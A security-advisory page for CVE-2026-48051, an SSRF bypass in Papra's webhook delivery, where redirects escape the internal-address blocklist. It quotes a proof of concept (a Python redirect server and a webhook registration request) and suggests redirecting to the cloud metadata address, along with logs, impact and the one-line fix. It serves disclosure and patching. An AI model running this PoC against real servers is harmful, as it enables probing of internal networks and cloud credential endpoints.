HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 48051 papra http redirect bypass can lead to ssrf via
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Low · CVSS 3.5CVE-2026-48051GHSA-5G86-85RP-F9HX

Papra HTTP redirect bypass can lead to SSRF via webhook delivery systemCVE-2026-48051

Answer in brief

CVE-2026-48051 records a Low severity (CVSS 3.5) vulnerability in Papra HTTP redirect bypass can lead to SSRF via webhook delivery system. The current sources do not mark it as known exploited. The current feed maps @papra/webhooks (npm), @papra/webhooks (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jun 10, 2026Updated Oct 24, 2026Source checked Nov 1, 2026First seen by HOL Jun 11, 2026Material review Oct 24, 2026
Upstream Advisory

Key facts

Risk
Low · CVSS 3.5
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 3.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps @papra/webhooks (npm), @papra/webhooks (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
@papra/webhooksnpm>=0 <0.3.30.3.3
@papra/webhooksnpm<0.3.30.3.3

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for @papra/webhooks, @papra/webhooks.
  2. 2Review the reported fix. Update @papra/webhooks to 0.3.3; @papra/webhooks to 0.3.3 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jun 10, 2026

    Evidence: source:nvd:source_dates:source-dates:record
  2. Source modified

    Oct 24, 2026

    Evidence: source:nvd:source_dates:source-dates:record
  3. First seen by HOL

    Jun 11, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

### Summary Papra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses — loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (`ofetch`) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client. ### Details **The vulnerable call** The webhook HTTP client in `packages/webhooks/src/webhooks.services.ts` (lines 16–19) calls `ofetch.raw()` without specifying a `redirect` option: ```typescript const response = await ofetch.raw<unknown>(url, { ...options, ignoreResponseError: true, // no `redirect` option — defaults to 'follow' per Fetch API spec }); ``` `ofetch` is a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes — `follow`, `error`, and `manual` — and sets `follow` as the default. In `follow` mode, the HTTP implementation resolves the redirect chain internally and returns only the final response; application code receives the terminal response with no indication that any redirects occurred. `ofetch` 1.4.1 does not set a `redirect` option in its internal `fetch()` call, so the default applies. The `ignoreResponseError: true` option only suppresses exceptions on non-2xx responses; it has no effect on redirect handling. **How the bypass works** The SSRF protection runs at two points: registration time (`checkWebhookUrlIsSsrfSafe`, `webhooks.usecases.ts:34`) and delivery time (`filterOutSsrfUnsafeWebhooks`, `webhooks.usecases.ts:124`). Both checks work the same way: ```typescript // apps/papra-server/src/modules/shared/ssrf/ssrf.services.ts, lines 20-27 const hostname = getUrlHostname(url); return isHostnameSsrfSafe({ hostname, allowedHostnames, dnsLookup, logger }); // Resolves hostname → checks all resulting IPs against the blocklist // Blocklist covers: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, // 169.254.0.0/16, ::1, and other reserved ranges ``` Both checks operate on `url` — the registered webhook URL, a public hostname that resolves to a public IP and passes the blocklist. Neither check has any visibility into where the HTTP client will end up after following a redirect. The `Location` header in a 3xx response is never extracted, never DNS-resolved, and never compared against the blocklist. By the time the redirect target is known to the Fetch implementation, the request has already been made. The developer cannot observe this gap. The Fetch API gives no opportunity to inspect the redirect target before following it. **Evidence** Attacker's redirect server receives the POST and returns 302: ``` [2026-05-08T15:55:38.388647] POST /redirect User-Agent: papra-webhook-client ← set only in webhooks.services.ts:47 X-Forwarded-For: <REDACTED> "POST /redirect HTTP/1.1" 302 - ``` Papra's inbound request log immediately after — this is the server logging a request arriving at itself: ``` {"message":"Request completed","timestampMs":1778255738420, "data":{"status":200,"method":"GET","path":"/api/health", "userAgent":"papra-webhook-client"}} ← outbound UA on an inbound request ``` `papra-webhook-client` is set exclusively by the outbound webhook delivery code (`webhooks.services.ts:47`). Its presence on an inbound log entry is only possible if Papra's own HTTP client followed the 302 and made a request to the loopback. The delivery record confirms the internal endpoint responded HTTP 200: ``` {"message":"Webhook triggered","timestampMs":1778255738422, "data":{"responseStatus":200,"webhookId":"wbh_s6t1xzezbzbivyhptcs7qxhk"}} ``` ### PoC 1. Start `redirect_server.py` on a publicly reachable server (ngrok free tier is sufficient). The example below uses Papra's own health endpoint as the redirect target to demonstrate the bypass — in a cloud environment replace `REDIRECT_TARGET` with `http://169.254.169.254/latest/meta-data/` or any internal address. ```python from http.server import HTTPServer, BaseHTTPRequestHandler from socketserver import ThreadingMixIn import datetime REDIRECT_TARGET = "http://127.0.0.1:1221/api/health" # replace with desired internal target class RedirectHandler(BaseHTTPRequestHandler): def do_POST(self): content_len = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(content_len) print(f"[{datetime.datetime.now(datetime.timezone.utc).isoformat()}] POST {self.path}") print(f" User-Agent: {self.headers.get('User-Agent')}") print(f" Body: {body[:200]}") self.send_response(302) self.send_header("Location", REDIRECT_TARGET) self.end_headers() class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): pass if __name__ == "__main__": server = ThreadedHTTPServer(("0.0.0.0", 9999), RedirectHandler) print("Redirect server running on port 9999") server.serve_forever() ``` > `ThreadingMixIn` is required — Papra immediately opens a second connection to the same port when following the redirect; a single-threaded server deadlocks. 2. Register a webhook pointing to the redirect server: ``` POST /api/organizations/{orgId}/webhooks {"name":"ssrf-test","url":"https://{ngrok-url}/redirect","events":["document:created"]} ``` 3. Upload any document to the organisation to fire a `document:created` event. 4. Confirm on the Papra server logs that `/api/health` received a GET request with `User-Agent: papra-webhook-client`. ### Impact - Any authenticated org member (no admin role required) can trigger the exploit. - The Papra server makes HTTP requests to internal addresses blocked by its own SSRF list: `127.0.0.0/8`, `169.254.0.0/16`, RFC-1918 ranges. - **This is blind SSRF** — internal response bodies are written to `webhook_deliveries` but no API route exposes delivery records. Response content is not accessible to the attacker through the Papra API. - Internal network topology can be partially inferred from whether requests succeed or fail (closed port produces a network error; open port returns an HTTP response). - HTTP 307 redirects preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs. - On cloud deployments (AWS, GCP, Azure), the instance metadata service at `169.254.169.254` is reachable by the same technique. Cloud IMDS was not tested in this PoC (local Docker environment, no metadata service present). Response exfiltration via the Papra API remains unavailable regardless. **Suggested Fix** Add `redirect: 'manual'` to the `ofetch.raw()` call in `packages/webhooks/src/webhooks.services.ts` (line 16) and treat any 3xx response as a delivery failure. Webhook endpoints have no legitimate reason to redirect: ```typescript const response = await ofetch.raw<unknown>(url, { ...options, redirect: 'manual', // do not follow redirects ignoreResponseError: true, }); ``` If redirect-following is ever required in the future, validate the `Location` header through the existing `isUrlSsrfSafe()` check before re-issuing the request.

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
SSRF
EPSS
Not reported
CWE IDs
CWE-918
Source
GitHub Security Advisories
Source checked
Nov 1, 2026
References
4 linked sources
Open source record